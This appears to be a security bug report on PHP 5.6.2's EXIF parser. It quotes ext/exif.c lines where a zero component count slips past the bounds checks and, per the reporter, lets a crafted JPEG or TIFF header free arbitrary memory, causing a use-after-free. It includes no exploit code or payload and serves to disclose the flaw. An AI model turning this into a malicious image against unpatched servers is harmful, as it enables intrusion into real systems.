Description:
------------
PHP 5.6.2 Exif Header component value check error

this bug is exif_process_IFD_TAG() function of ext/exif.c

in exif header, get a components value as follows

2818: components = php_ifd_get32u(dir_entry+4, ImageInfo->motorola_intel);

dir_entry+4 exists in jpg or tiff files, attacker can modify this all.

look at the below code, a wrong check to components value.

2827: if (components < 0) {
2828:	exif_error_docref("exif_read_data#error_ifd" EXIFERR_CC, ImageInfo, E_WARNING, "Process tag(x%04X=%s): Illegal components(%ld)", tag, exif_get_tagname(tag, tagname, -12, tag_table TSRMLS_CC), components);
2829:	return FALSE;
2830: }

only check to components value is negative, doesn't check to 0 value

if components value was 0, problem occurs in the below code.

2832: byte_count_signed = (int64_t)components * php_tiff_bytes_per_format[format];

above calculation result are being 0, this can bypass to below code.

2833: if (byte_count_signed < 0 || (byte_count_signed > INT32_MAX)) {
2834: 	exif_error_docref("exif_read_data#error_ifd" EXIFERR_CC, ImageInfo, E_WARNING, "Process tag(x%04X=%s): Illegal byte_count", tag, exif_get_tagname(tag, tagname, -12, tag_table TSRMLS_CC));
2835:	return FALSE;
2836: }

effect: an attacker may be free to any memory area, if do not use to zend_mm, use after free has occurred.

set the memory to be free from jpg file.
